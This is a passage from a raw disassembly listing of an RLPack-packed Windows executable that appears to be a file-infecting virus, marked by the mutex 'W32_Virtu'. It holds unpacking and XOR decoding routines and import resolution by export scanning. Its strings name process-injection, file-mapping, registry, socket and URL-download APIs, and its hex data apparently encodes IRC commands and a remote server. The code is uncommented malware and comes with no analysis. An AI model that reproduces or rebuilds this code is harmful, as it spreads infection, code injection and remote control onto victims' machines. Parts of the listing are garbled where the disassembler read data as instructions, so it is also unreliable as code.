[esi+1], eax add esi, 4 add edx, 4 sub ecx, 4 loc_439FCD: ; CODE XREF: sub_439F5A+5Ej inc esi dec ecx loc_439FCF: ; CODE XREF: sub_439F5A+53j cmp ecx, 0 ja short loc_439FAF loc_439FD4: ; CODE XREF: sub_439F5A+50j popa retn sub_439F5A endp ; =============== S U B R O U T I N E ======================================= sub_439FD6 proc near ; CODE XREF: start+183p pusha mov esi, [ebp+43Ch] add esi, [esi+3Ch] mov esi, [esi+0C0h] or esi, esi jz short loc_43A019 add esi, [ebp+43Ch] add esi, 0Ch mov esi, [esi] or esi, esi jz short loc_43A019 mov eax, [esi] jmp short loc_43A015 ; --------------------------------------------------------------------------- loc_439FFD: ; CODE XREF: sub_439FD6+41j push esi cmp dword ptr [eax], 0 jz short loc_43A00F push 0 push 1 push dword ptr [ebp+43Ch] call eax loc_43A00F: ; CODE XREF: sub_439FD6+2Bj pop esi add esi, 4 mov eax, [esi] loc_43A015: ; CODE XREF: sub_439FD6+25j or eax, eax jnz short loc_439FFD loc_43A019: ; CODE XREF: sub_439FD6+12j ; sub_439FD6+21j popa retn sub_439FD6 endp ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] mov edi, [esp+28h] cld mov dl, 80h xor ebx, ebx loc_43A029: ; CODE XREF: .RLPack:0043A031j movsb mov bl, 2 loc_43A02C: ; CODE XREF: .RLPack:0043A056j ; .RLPack:0043A09Cj call sub_43A09E jnb short loc_43A029 xor ecx, ecx call sub_43A09E jnb short loc_43A058 xor eax, eax call sub_43A09E jnb short loc_43A068 mov bl, 2 inc ecx mov al, 10h loc_43A04A: ; CODE XREF: .RLPack:0043A051j call sub_43A09E adc al, al jnb short loc_43A04A jnz short loc_43A094 stosb jmp short loc_43A02C ; --------------------------------------------------------------------------- loc_43A058: ; CODE XREF: .RLPack:0043A03Aj call sub_43A0AA sub ecx, ebx jnz short loc_43A071 call sub_43A0A8 jmp short loc_43A090 ; --------------------------------------------------------------------------- loc_43A068: ; CODE XREF: .RLPack:0043A043j lodsb shr eax, 1 jz short loc_43A0BA adc ecx, ecx jmp short loc_43A08D ; --------------------------------------------------------------------------- loc_43A071: ; CODE XREF: .RLPack:0043A05Fj xchg eax, ecx dec eax shl eax, 8 lodsb call sub_43A0A8 cmp eax, 7D00h jnb short loc_43A08D cmp ah, 5 jnb short loc_43A08E cmp eax, 7Fh ja short loc_43A08F loc_43A08D: ; CODE XREF: .RLPack:0043A06Fj ; .RLPack:0043A081j inc ecx loc_43A08E: ; CODE XREF: .RLPack:0043A086j inc ecx loc_43A08F: ; CODE XREF: .RLPack:0043A08Bj xchg eax, ebp loc_43A090: ; CODE XREF: .RLPack:0043A066j mov eax, ebp mov bl, 1 loc_43A094: ; CODE XREF: .RLPack:0043A053j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_43A02C ; =============== S U B R O U T I N E ======================================= sub_43A09E proc near ; CODE XREF: .RLPack:loc_43A02Cp ; .RLPack:0043A035p ... add dl, dl jnz short locret_43A0A7 mov dl, [esi] inc esi adc dl, dl locret_43A0A7: ; CODE XREF: sub_43A09E+2j retn sub_43A09E endp ; =============== S U B R O U T I N E ======================================= sub_43A0A8 proc near ; CODE XREF: .RLPack:0043A061p ; .RLPack:0043A077p xor ecx, ecx sub_43A0A8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43A0AA proc near ; CODE XREF: .RLPack:loc_43A058p inc ecx loc_43A0AB: ; CODE XREF: sub_43A0AA+Dj call sub_43A09E adc ecx, ecx call sub_43A09E jb short loc_43A0AB retn sub_43A0AA endp ; --------------------------------------------------------------------------- loc_43A0BA: ; CODE XREF: .RLPack:0043A06Bj sub edi, [esp+28h] mov [esp+1Ch], edi popa retn ; --------------------------------------------------------------------------- align 10h dd 3A0ECh, 3A0F9h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 801D7700h, 80ADA07Ch dd 809A517Ch, 809AE47Ch, 801AD07Ch, 7Ch, 4C000000h, 4C64616Fh dd 61726269h, 417972h, 74654700h, 636F7250h, 72646441h dd 737365h, 72695600h, 6C617574h, 6F6C6C41h, 56000063h dd 75747269h, 72466C61h, 6565h, 74726956h, 506C6175h, 65746F72h dd 7463h, 1000h, 8, 20h, 2 dup(400000h), 2 dup(0) dd 20000h, 0A060h, 3, 7E410000h, 3300A9h, 330000h, 2E000h dd 20000h, 39108h, 2B000h, 0 dd 52451C4Bh, 334CC04Eh, 6C642E32h, 5355C0E3h, 0C10B1CD0h dd 2B10C01h, 0F6956C0h, 61757472h, 65CE46CEh, 418C0C35h dd 63706F38h, 7D78453Fh, 12725031h, 83C77365h, 0B47AD47h dd 0D41E6441h, 0BD4C3D0Fh, 693E7461h, 79FC7662h, 1E414CCAh dd 646F4D01h, 48DC6C75h, 0B06E6F61h, 0CD4841AAh, 63F3DF67h dd 462028D5h, 4E086961h, 45B86D61h, 4DF73033h, 677E997Eh dd 896F4237h, 0Ch, 0E8900000h, 0 ; --------------------------------------------------------------------------- mov eax, [esp] test dword ptr [eax+242Bh], 80000000h mov [eax+29ACh], ebx mov ebx, [esp+4] jz short loc_43A272 cld pop ecx mov [eax+29B0h], esi mov [eax+29B4h], edi cmp byte ptr [eax+242Fh], 0E8h jnz short loc_43A269 add ebx, [eax+2430h] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_43A271 ; --------------------------------------------------------------------------- loc_43A269: ; CODE XREF: .RLPack:0043A25Aj mov ebx, [eax+2431h] push dword ptr [ebx] loc_43A271: ; CODE XREF: .RLPack:0043A267j pop ebx loc_43A272: ; CODE XREF: .RLPack:0043A243j push ebp xchg eax, ebp sub dword ptr [esp+4], 502h and ebx, 0FFFFF000h sub ebp, 401006h mov edi, [esp+4] lea esi, [ebp+40343Ch] mov ecx, 8Ch rep movsb loc_43A299: ; CODE XREF: .RLPack:0043A2B5j cmp dword ptr [ebx+4Eh], 73696854h jnz short loc_43A2AF mov eax, [ebx+3Ch] lea eax, [eax+ebx] cmp word ptr [eax], 4550h jz short loc_43A2B7 loc_43A2AF: ; CODE XREF: .RLPack:0043A2A0j sub ebx, 100h jnz short loc_43A299 loc_43A2B7: ; CODE XREF: .RLPack:0043A2ADj mov edx, [eax+78h] add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_43A2C5: ; CODE XREF: .RLPack:loc_43A2ECj lodsd add eax, ebx cmp dword ptr [eax-1], 74654700h jnz short loc_43A2EC cmp dword ptr [eax+3], 636F7250h jnz short loc_43A2EC cmp dword ptr [eax+7], 72646441h jnz short loc_43A2EC cmp dword ptr [eax+0Bh], 737365h jz short loc_43A2F1 loc_43A2EC: ; CODE XREF: .RLPack:0043A2CFj ; .RLPack:0043A2D8j ... loop loc_43A2C5 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_43A2F1: ; CODE XREF: .RLPack:0043A2EAj sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx call near ptr loc_43A317+2 inc ebx insb outsd jnb short near ptr loc_43A375+2 dec eax popa outsb db 64h insb loc_43A317: ; CODE XREF: .RLPack:0043A308p add gs:[ebx-1], dl setalc mov [ebp+40353Ch], eax call near ptr loc_43A333+1 inc ebx jb short near ptr loc_43A38E+1 popa jz short near ptr loc_43A38E+4 inc ebp jbe short near ptr loc_43A394+1 outsb jz short near ptr loc_43A372+2 loc_43A333: ; CODE XREF: .RLPack:0043A322p add [ebx-1], dl setalc mov [ebp+403540h], eax call sub_43A34F inc edi db 65h jz short near ptr loc_43A38E+4 popa jnb short loc_43A3BD inc ebp jb short near ptr loc_43A3BD+1 outsd jb short $+2 ; =============== S U B R O U T I N E ======================================= sub_43A34F proc near ; CODE XREF: .RLPack:0043A33Dp ; FUNCTION CHUNK AT 0043A3F8 SIZE 000000B1 BYTES ; FUNCTION CHUNK AT 0043A538 SIZE 0000013A BYTES push ebx call esi mov [ebp+403544h], eax call sub_43A3CD test eax, eax jz short loc_43A382 push eax call dword ptr [ebp+403544h] test eax, eax jnz short loc_43A37C lea eax, [ebp+4011D2h] loc_43A372: ; CODE XREF: .RLPack:0043A331j mov dl, [eax-1] loc_43A375: ; CODE XREF: .RLPack:0043A310j call sub_43A3E8 jmp short loc_43A3F8 ; --------------------------------------------------------------------------- loc_43A37C: ; CODE XREF: sub_43A34F+1Bj ; sub_43A34F+136j ... call dword ptr [ebp+40353Ch] loc_43A382: ; CODE XREF: sub_43A34F+10j test dword ptr [ebp+403431h], 80000000h jz short loc_43A3AC loc_43A38E: ; CODE XREF: .RLPack:0043A328j ; .RLPack:0043A32Bj ... lea esi, [ebp+403435h] loc_43A394: ; CODE XREF: .RLPack:0043A32Ej mov edi, [esp+4] movsb movsd mov ebx, dword ptr ss:loc_4039B2[ebp] mov esi, [ebp+4039B6h] mov edi, [ebp+4039BAh] loc_43A3AC: ; CODE XREF: sub_43A34F+3Dj pop ebp retn sub_43A34F endp ; --------------------------------------------------------------------------- loc_43A3AE: ; CODE XREF: sub_43A3CD+2p ; sub_43A34F:loc_43A5B7p pop edx push 0 push 0 push 0 push 0 push 40001h ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_43A3BD: ; CODE XREF: .RLPack:0043A347j ; .RLPack:0043A34Aj les ebp, [edx+0] push eax push 0Ch mov eax, esp jmp edx ; --------------------------------------------------------------------------- aVt_3 db 'VT_3',0 db 0 ; =============== S U B R O U T I N E ======================================= sub_43A3CD proc near ; CODE XREF: sub_43A34F+9p xor ecx, ecx call loc_43A3AE lea edx, [ebp+4011A1h] push edx push ecx push ecx push eax call dword ptr [ebp+403540h] add esp, 20h retn sub_43A3CD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43A3E8 proc near ; CODE XREF: sub_43A34F:loc_43A375p ; sub_43C1BC+25Bp mov dh, dl mov ecx, 225Fh loc_43A3EF: ; CODE XREF: sub_43A3E8+Cj xor [eax], dl inc eax add dl, dh loop loc_43A3EF retn sub_43A3E8 endp ; --------------------------------------------------------------------------- db 0E0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A34F loc_43A3F8: ; CODE XREF: sub_43A34F+2Bj and dword ptr [ebp+401580h], 0 and dword ptr ss:loc_401584[ebp], 0 and dword ptr [ebp+401588h], 0 mov eax, [ebp+403431h] xor ecx, ecx push 1 mov cl, 20h pop dword ptr ss:loc_40397E[ebp] loc_43A41F: ; CODE XREF: sub_43A34F+E0j xor edx, edx shr eax, 1 setb dl shl dl, 3 add dword ptr ss:loc_40397E[ebp], edx loop loc_43A41F push edi mov byte ptr [ebp+401303h], 1 mov [ebp+403548h], esi lea esi, [ebp+4015BBh] xor ecx, ecx lea edi, loc_403558[ebp] mov cl, 1Eh call sub_43A7B2 pop edi call dword ptr ss:loc_403594[ebp] shr eax, 1Fh jz loc_43A538 mov eax, [edi+14h] push 40h add eax, ebx push 8001000h mov dword ptr ss:loc_403550[ebp], eax push 69CEh push 0 call dword ptr [ebp+4035C8h] test eax, eax jz loc_43A37C xchg eax, edi lea esi, sub_401000[ebp] mov ebp, edi mov ecx, 0A74h sub ebp, offset sub_401000 lea edx, [ebp+401283h] rep movsd jmp edx ; END OF FUNCTION CHUNK FOR sub_43A34F ; --------------------------------------------------------------------------- sub esp, 20h mov edi, esp push 8 xor eax, eax pop ecx lea edx, [ebp+401A3Dh] rep stosd mov edi, esp mov [edi+10h], edx inc byte ptr [edi+1Ch] push edi push 10003h call dword ptr ss:loc_403550[ebp] add esp, 20h test eax, eax jz loc_43A37C xchg eax, edi push 0 push 1 push 80000400h push 10000h call dword ptr ss:loc_403550[ebp] test eax, eax jz loc_43A37C push 0 push eax push 40000h push 0 shr eax, 0Ch push edi push 1 push eax push 10001h call dword ptr ss:loc_403550[ebp] push 1000Ah call dword ptr ss:loc_403550[ebp] call sub_43A528 jmp loc_43A37C ; =============== S U B R O U T I N E ======================================= sub_43A528 proc near ; CODE XREF: .RLPack:0043A51Ep ; sub_43A528+Dj push 1 pop ecx jecxz short locret_43A537 push 0Ah call dword ptr [ebp+4035BCh] jmp short sub_43A528 ; --------------------------------------------------------------------------- locret_43A537: ; CODE XREF: sub_43A528+3j retn sub_43A528 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A34F loc_43A538: ; CODE XREF: sub_43A34F+10Fj cmp dword ptr [ebp+403570h], 0 jz loc_43A37C call near ptr loc_43A54F+1 dec esi push esp inc esp dec esp dec esp loc_43A54F: ; CODE XREF: sub_43A34F+1F6p add bh, bh xchg eax, ebp mov ds:0B58D0040h, dh jnb short near ptr loc_43A56C+5 inc eax add [ebx], dh leave lea edi, [ebp+4035D0h] mov cl, 0Bh xchg eax, ebx call sub_43A7B2 loc_43A56C: ; CODE XREF: sub_43A34F+209j cmp dword ptr [ebp+4035F8h], 0 jz loc_43A37C mov eax, [ebp+4035D4h] push dword ptr [eax+1] pop dword ptr [ebp+403395h] mov eax, [ebp+4035E8h] push dword ptr [eax+1] pop dword ptr [ebp+4033E2h] mov eax, dword ptr ss:loc_4035D8[ebp] push dword ptr [eax+1] pop dword ptr [ebp+4033E9h] mov ecx, [ebp+4035DCh] jecxz short loc_43A5B7 push dword ptr [ecx+1] pop dword ptr [ebp+4033F6h] loc_43A5B7: ; CODE XREF: sub_43A34F+25Dj call loc_43A3AE lea edi, [ebp+40364Eh] mov ecx, edi push 0 neg cl push dword ptr [eax+4] and ecx, 3 push 40h add edi, ecx push edi push 0 push 18h lea esi, [ebp+40159Fh] mov ecx, 1Ch mov edx, esp lea eax, ds:0FFFFFFFEh[ecx*2] stosw lea eax, ds:0[ecx*2] stosw lea eax, [edi+4] stosd xor ah, ah loc_43A5FC: ; CODE XREF: sub_43A34F+2B0j lodsb stosw loop loc_43A5FC push 0 push 69CEh mov ecx, esp push 0 mov eax, esp push 0 push 8000000h push 40h push ecx push edx push 0Eh push eax call dword ptr [ebp+4035E0h] pop eax add esp, 40h push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 0 push 2 push edx push 0 push 69CEh push 0 push ecx push 0FFFFFFFFh push eax call dword ptr [ebp+4035E4h] pop edi pop ecx test edi, edi jz loc_43A37C lea esi, sub_401000[ebp] mov ecx, 0A74h mov ebp, edi rep movsd sub ebp, offset sub_401000 lea eax, [ebp+40144Ch] jmp eax ; END OF FUNCTION CHUNK FOR sub_43A34F ; --------------------------------------------------------------------------- dw 958Dh dd offset loc_4018DF+1 dd 9C95FF52h, 0E8004035h, 16h aLookupprivileg db 'LookupPrivilegeValueA',0 dw 0FF50h dd 40354895h, 4C858900h, 50004035h, 6A206A54h, 0EC95FFFFh dd 85004035h, 3F755FC0h, 56026A96h, 6AD48B56h, 11E85201h dd 53000000h, 62654465h, 72506775h, 6C697669h, 656765h dd 4C95FF56h, 8B004035h, 565656C4h, 0FF575650h, 4035D095h dd 10C48300h, 3C95FF57h, 6A004035h, 0FF026A00h, 40357095h dd 128B900h, 2B970000h, 240C89E1h, 95FF5754h, 4035ACh dd 0A583F633h, 40363Ch, 0FF575400h, 4035B095h, 74C08500h dd 0FE83465Ch, 0FFEE7204h, 6A082474h, 0FF2A6A00h, 4035A895h dd 74C08500h, 3DE893DCh, 33000004h, 30E391C9h, 363C8539h dd 28750040h, 0DAEC181h, 54500000h, 50515650h, 95FF5350h dd 403568h, 7459C085h, 2474FF0Fh, 3C858F08h, 0E8004036h dd 0FFFFFDACh, 3C95FF53h, 0EB004035h, 28C48198h, 57000001h dd 353C95FFh, 0E5E90040h, 8DFFFFFBh, 58580049h, 29CE0058h dd 0D650000h, 3 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43A7B2 proc near ; CODE XREF: sub_43A34F+100p ; sub_43A34F+218p ... push ecx push esi push ebx call dword ptr [ebp+403548h] stosd pop ecx loc_43A7BD: ; CODE XREF: sub_43A7B2+Ej lodsb test al, al jnz short loc_43A7BD loop sub_43A7B2 retn sub_43A7B2 endp ; --------------------------------------------------------------------------- aBasenamedobjec db '\BaseNamedObjects\W32_Virtu',0 aLstrlen db 'lstrlen',0 aCreatefilea_0 db 'CreateFileA',0 aCreatefilema_0 db 'CreateFileMappingA',0 aCreateproces_0 db 'CreateProcessA',0 aCreateremoteth db 'CreateRemoteThread',0 aCreatethread_0 db 'CreateThread',0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 aExitthread db 'ExitThread',0 aFiletimetosyst db 'FileTimeToSystemTime',0 aGetfileattribu db 'GetFileAttributesA',0 aGetfilesize db 'GetFileSize',0 aGetfiletime db 'GetFileTime',0 aGetmodulehandl db 'GetModuleHandleA',0 aGettempfilenam db 'GetTempFileNameA',0 aGettemppatha db 'GetTempPathA',0 aGetversion db 'GetVersion',0 aGetversionexa db 'GetVersionExA',0 aLoadlibrarya db 'LoadLibraryA',0 aMapviewoffile db 'MapViewOfFile',0 aOpenfilemappin db 'OpenFileMappingA',0 aOpenprocess db 'OpenProcess',0 aProcess32first db 'Process32First',0 aProcess32next db 'Process32Next',0 aSetfileattribu db 'SetFileAttributesA',0 aSetfiletime_0 db 'SetFileTime',0 aSleep db 'Sleep',0 aSystemtimetofi db 'SystemTimeToFileTime',0 aUnmapviewoff_0 db 'UnmapViewOfFile',0 aVirtualalloc db 'VirtualAlloc',0 aWritefile db 'WriteFile',0 aNtadjustprivil db 'NtAdjustPrivilegesToken',0 aNtcreatefile db 'NtCreateFile',0 aNtcreateproces db 'NtCreateProcess',0 aNtcreateproc_0 db 'NtCreateProcessEx',0 aNtcreatesectio db 'NtCreateSection',0 aNtmapviewofsec db 'NtMapViewOfSection',0 aNtopenfile db 'NtOpenFile',0 aNtopenprocesst db 'NtOpenProcessToken',0 aNtprotectvirtu db 'NtProtectVirtualMemory',0 aNtwritevirtual db 'NtWriteVirtualMemory',0 aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0 aWsastartup db 'WSAStartup',0 aClosesocket db 'closesocket',0 aConnect db 'connect',0 aGethostbyname db 'gethostbyname',0 aRecv db 'recv',0 aSend_0 db 'send',0 aSocket db 'socket',0 aInternetcloseh db 'InternetCloseHandle',0 aInternetgetc_0 db 'InternetGetConnectedState',0 aInternetopena db 'InternetOpenA',0 aInternetopenur db 'InternetOpenUrlA',0 aInternetreadfi db 'InternetReadFile',0 aAdvapi32_dll_0 db 'ADVAPI32.DLL',0 aRegclosekey_0 db 'RegCloseKey',0 aRegopenkeyexa db 'RegOpenKeyExA',0 aRegqueryvaluee db 'RegQueryValueExA',0 aRegsetvalueexa db 'RegSetValueExA',0 ; =============== S U B R O U T I N E ======================================= sub_43AB4D proc near ; CODE XREF: .RLPack:0043ABF4p ; .RLPack:0043AC05p ... var_5 = byte ptr -5 sub ecx, 5 sub ecx, eax push ecx push 0E8000000h lea ecx, [esp+8+var_5] push 0 push 5 push ecx push eax push ebx push 5 mov ecx, esp push eax mov edx, esp push eax push esp push 40h push ecx push edx push ebx call dword ptr [ebp+4035F0h] add esp, 0Ch call dword ptr ss:loc_4035F4[ebp] add esp, 8 retn sub_43AB4D endp ; --------------------------------------------------------------------------- push edi lea eax, [ebp+4015B1h] xor edi, edi push eax push 0 push 0Eh call dword ptr ss:loc_4035A4[ebp] test eax, eax jz loc_43AC30 push eax push 69CEh mov edx, esp push 0 mov ecx, esp push 40h push 100000h push 2 push edx push 0 push 69CEh push 0 push ecx push ebx push eax call dword ptr [ebp+4035E4h] pop edi pop ecx call dword ptr [ebp+40353Ch] test edi, edi jz short loc_43AC30 mov ecx, [ebp+401588h] jecxz short loc_43ABE8 lea edx, sub_401000[ebp] add edx, ecx push edi push ebx call edx loc_43ABE8: ; CODE XREF: .RLPack:0043ABDAj mov eax, [ebp+4035D4h] lea ecx, [edi+2394h] call sub_43AB4D mov eax, [ebp+4035E8h] lea ecx, [edi+23E1h] call sub_43AB4D mov eax, dword ptr ss:loc_4035D8[ebp] lea ecx, [edi+23E8h] call sub_43AB4D mov eax, [ebp+4035DCh] test eax, eax jz short loc_43AC30 lea ecx, [edi+23F5h] call sub_43AB4D loc_43AC30: ; CODE XREF: .RLPack:0043AB9Aj ; .RLPack:0043ABD2j ... mov eax, edi pop edi retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 401A14h xor ecx, ecx lea eax, [ebp+401DAEh] push ecx push esp push ecx push ecx push eax push ecx push ecx call dword ptr [ebp+40356Ch] xchg eax, [esp] call dword ptr [ebp+40353Ch] pop ebp retn 4 ; --------------------------------------------------------------------------- db 55h dd 0E8h, 0ED815D00h, 401A43h, 958DFF6Ah, 401A0Eh, 20CD5250h dd 2A0024h, 660CC483h, 1A5485C7h, 20CD0040h, 1A5685C7h dd 240040h, 0C35D002Ah, 16A016Ah, 73FF33FFh, 8515FF04h dd 68F074C0h, 0Bh, 35BD08Bh, 0B58D3C50h, 401A72h, 10CBA8Bh dd 8A8B0000h, 108h, 0CB2BF803h, 0F3CB8B60h, 57461A6h, 0EBF5E247h dd 0FC783C2h, 53D48B57h, 5450CC8Bh, 5251406Ah, 95FFFF6Ah dd 4035F0h, 8B0CC483h, 40357495h, 83D72B00h, 7C707EAh dd 0E8006Ah, 0C3035789h, 0E8581A6Ah, 9, 0AA61428Dh, 0F075C9FEh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_43AD15 proc near ; CODE XREF: sub_43B580+1Bp ; sub_43B6F8+3p ... imul edx, [ebp+403646h], 8088405h inc edx mov [ebp+403646h], edx mul edx retn sub_43AD15 endp ; --------------------------------------------------------------------------- db 55h, 0E8h, 0 dd 5D000000h, 1B09ED81h, 9D8B0040h, 40364Ah, 8247C83h dd 0B9840F00h, 81000000h, 208ECh, 4685400h, 0FF000001h dd 40359095h, 8DFC8B00h, 1042484h, 6A500000h, 4E800h, 52560000h dd 0FF570054h, 40358C95h, 8DC93300h, 10497h, 6A515100h dd 16A5102h, 68h, 95FF5240h, 40355Ch, 74F68596h, 6854505Bh dd 104h, 24B4FF57h, 220h, 362895FFh, 85590040h, 0E31674C0h dd 0D48B5014h, 5152006Ah, 95FF5657h, 4035CCh, 75C08559h dd 95FF56D0h, 40353Ch, 5244578Dh, 58446A57h, 104978Dh dd 33AB0000h, 59106AC0h, 5050ABF3h, 50505050h, 95FF5250h dd 403564h, 208C481h, 74FF0000h, 95FF0824h, 403618h, 1895FF53h dd 5D004036h, 800004C2h, 1750A3Eh, 848D8B46h, 0E3004015h dd 958D19h, 3004010h, 0D2FF56D1h, 880FC084h, 11Fh, 110840Fh dd 3E800000h, 4610753Ah, 0F003E80h, 10184h, 203E8000h dd 8146F175h, 4E49503Eh, 8B427547h, 146C6CFh, 51CE2B4Fh dd 5651006Ah, 1095FF53h, 59004036h, 850FC13Bh, 0DFh, 1DA2858Dh dd 6A0040h, 0C68h, 0FF535000h, 40361095h, 0C3D00h, 850F0000h dd 0BFh, 0B1E9h, 503E8100h, 0F564952h, 0A585h, 8C68300h dd 0F0D3CACh, 9984h, 75203C00h, 3A3CACF3h, 8C850Fh, 0DAD0000h dd 20202020h, 6567213Dh, 0AC7F7574h, 7C75203Ch, 20FF7E81h dd 75747468h, 37E8171h, 2F2F3A70h, 47C66875h, 310F00FFh dd 2710BAh, 52E2F700h, 35BC95FFh, 0C0330040h, 50505050h dd 9E8h, 776F4400h, 616F6C6Eh, 95FF0064h, 403620h, 3674C085h dd 8589C933h, 40364Ah, 2006851h, 51518000h, 95FF5056h dd 403624h, 1B03958Dh, 33500040h, 505154C9h, 0FF515152h dd 40356C95h, 24048700h, 353C95FFh, 0C3F80040h, 15778D80h dd 0F9010040h, 464F53C3h, 52415754h, 694D5C45h, 736F7263h dd 5C74666Fh, 646E6957h, 5C73776Fh, 72727543h, 56746E65h dd 69737265h, 455C6E6Fh, 6F6C7078h, 726572h, 67726154h dd 6F487465h, 2007473h, 0F0FF00h, 70000000h, 69786F72h dd 72692E6Dh, 6C616763h, 2E797861h, 4E006C70h, 204B4349h dd 74616E74h, 73736768h, 4553550Ah, 30642052h, 30353032h dd 202E2031h, 2D3A202Eh, 4E494F4Ah, 69762620h, 0A757472h dd 0E855h, 815D0000h, 401DB4EDh, 7785C600h, 4015h, 359495FFh dd 0E8C10040h, 6A3C741Fh, 50B58B1Eh, 59004035h, 752E3CACh dd 3E81662Ah, 23751DFFh, 3640BD8Dh, 768B0040h, 66A55702h dd 6A858DA5h, 8F004033h, 40339085h, 4689FA00h, 0FE4E8CFAh dd 0E201B1FBh, 8D43EBCFh, 4015B185h, 6A5000h, 95FF0E6Ah dd 4035A4h, 8247C83h, 0E82B7504h, 4, 434653h, 358895FFh dd 48E80040h, 0E8FFFFFCh, 7, 5F434653h, 0FF00534Fh, 40358895h dd 0FC31E800h, 56E8FFFFh, 0FFFFFFF3h, 4013038Dh, 0BE800h dd 53550000h, 32335245h, 4C4C442Eh, 9C95FF00h, 0E8004035h dd 0Ah, 72707377h, 66746E69h, 0FF500041h, 40354895h, 54858900h dd 0F004035h, 0E08D8D31h, 89004018h, 40364685h, 95FF5100h dd 40359Ch, 46893h, 0B58D0000h, 4018EDh, 2CBD8D59h, 0E8004036h dd 0FFFFF6D6h, 6785C766h, 0FF00401Dh, 69A583F0h, 401Dh dd 1D27958Dh, 54500040h, 6A016Ah, 26852h, 95FF8000h, 403630h dd 755AC085h, 5A8D8D22h, 5200401Dh, 0B58D066Ah, 401D67h dd 50505654h, 95FF5251h, 403634h, 2C95FF58h, 0C6004036h dd 40384D85h, 0CE80000h, 57000000h, 4B434F53h, 442E3233h dd 0FF004C4Ch, 40359C95h, 7689300h, 8D000000h, 401844B5h dd 0BD8D5900h, 4035FCh, 0FFF651E8h, 0CE8FFh, 49570000h dd 454E494Eh, 4C442E54h, 95FF004Ch, 40359Ch, 840FC085h dd 1E7h, 56893h, 0B58D0000h, 401882h, 18BD8D59h, 0E8004036h dd 0FFFFF61Ah, 361CBD83h, 0F000040h, 1C284h, 90EC8100h dd 54000001h, 10168h, 0FC95FF00h, 81004035h, 190C4h, 0D48B5000h dd 0FF52006Ah, 40361C95h, 59C08500h, 88680D75h, 0FF000013h dd 4035BC95h, 83E2EB00h, 401D69BDh, 29750000h, 1D6D858Dh dd 0FF500040h, 40360895h, 0FC08500h, 13B84h, 0C408B00h dd 30FF008Bh, 1D69858Fh, 85C60040h, 40384Dh, 6A006A01h dd 0FF026A01h, 40361495h, 0FFF88300h, 112840Fh, 8D930000h dd 401D6595h, 52106A00h, 495FF53h, 85004036h, 0F2850FC0h dd 8D000000h, 401D86BDh, 0E808B100h, 0FFFFFABCh, 9468h dd 0E62B5E00h, 54243489h, 359895FFh, 0BD8D0040h, 401D94h dd 9DE801B1h, 8BFFFFFAh, 0C1102444h, 440B08E0h, 0E0C10424h dd 24440B08h, 5E85008h, 25000000h, 78362Eh, 5495FF57h dd 83004035h, 47C60CC4h, 958D2006h, 401D81h, 2168006Ah dd 52000000h, 1095FF53h, 8D004036h, 5714247Ch, 355895FFh dd 4C60040h, 6A400A38h, 53575000h, 361095FFh, 0E6030040h dd 1DA2BD8Dh, 6A0040h, 0C68h, 0FF535700h, 40361095h, 0C3D00h dd 4D750000h, 364EB58Dh, 8D8D0040h, 40384Dh, 6ACE2Bh, 0FF535651h dd 40360C95h, 0F88300h, 8B912F7Eh, 4EB58DFEh, 0B0004036h dd 75AEF20Dh, 0F8E86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh dd 2BCF8BEAh, 4EBD8DCEh, 0F3004036h, 0EBF787A4h, 95FF53B9h dd 403600h, 1577BD80h, 74010040h, 7530682Ah, 95FF0000h dd 4035BCh, 384DBD80h, 74000040h, 6985C711h, 401Dh, 0C6000000h dd 40384D85h, 56E90000h, 0C7FFFFFEh, 40158085h, 0 dd 4C25D80h, 4F0A0D00h, 6F6F6E20h, 666F206Eh, 66696C20h dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 68637461h dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h dd 656D6974h, 74492021h, 6C207327h, 21657461h, 84040A0Dh dd 141330C7h, 0F96A10A6h, 79ED606Eh, 0A1A84FD4h, 52484CA2h dd 25964037h, 0FAE56E23h, 0AD4727B1h, 14296299h, 0C17E10A6h dd 0A6841A73h, 75E2F8C4h, 0F98098A4h, 5957606Eh, 0CC5C3AABh dd 0B352C26Ch, 0D8B8h, 0Eh dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43B4CA proc near ; CODE XREF: sub_43B511:loc_43B56Ep ; sub_43B5D1+7p ... arg_0 = dword ptr 4 pusha and dword ptr [ebp+4039A6h], 0 and dword ptr ss:loc_4039AA[ebp], 0 movzx eax, word ptr [ebx+14h] lea edx, [ebx+18h] movzx ecx, word ptr [ebx+6] add edx, eax loc_43B4E6: ; CODE XREF: sub_43B4CA+41j mov eax, [esp+20h+arg_0] sub eax, [edx+0Ch] jb short loc_43B508 cmp eax, [edx+8] jnb short loc_43B508 mov eax, [edx+14h] sub eax, [edx+0Ch] mov [ebp+4039A6h], edx mov dword ptr ss:loc_4039AA[ebp], eax jmp short loc_43B50D ; 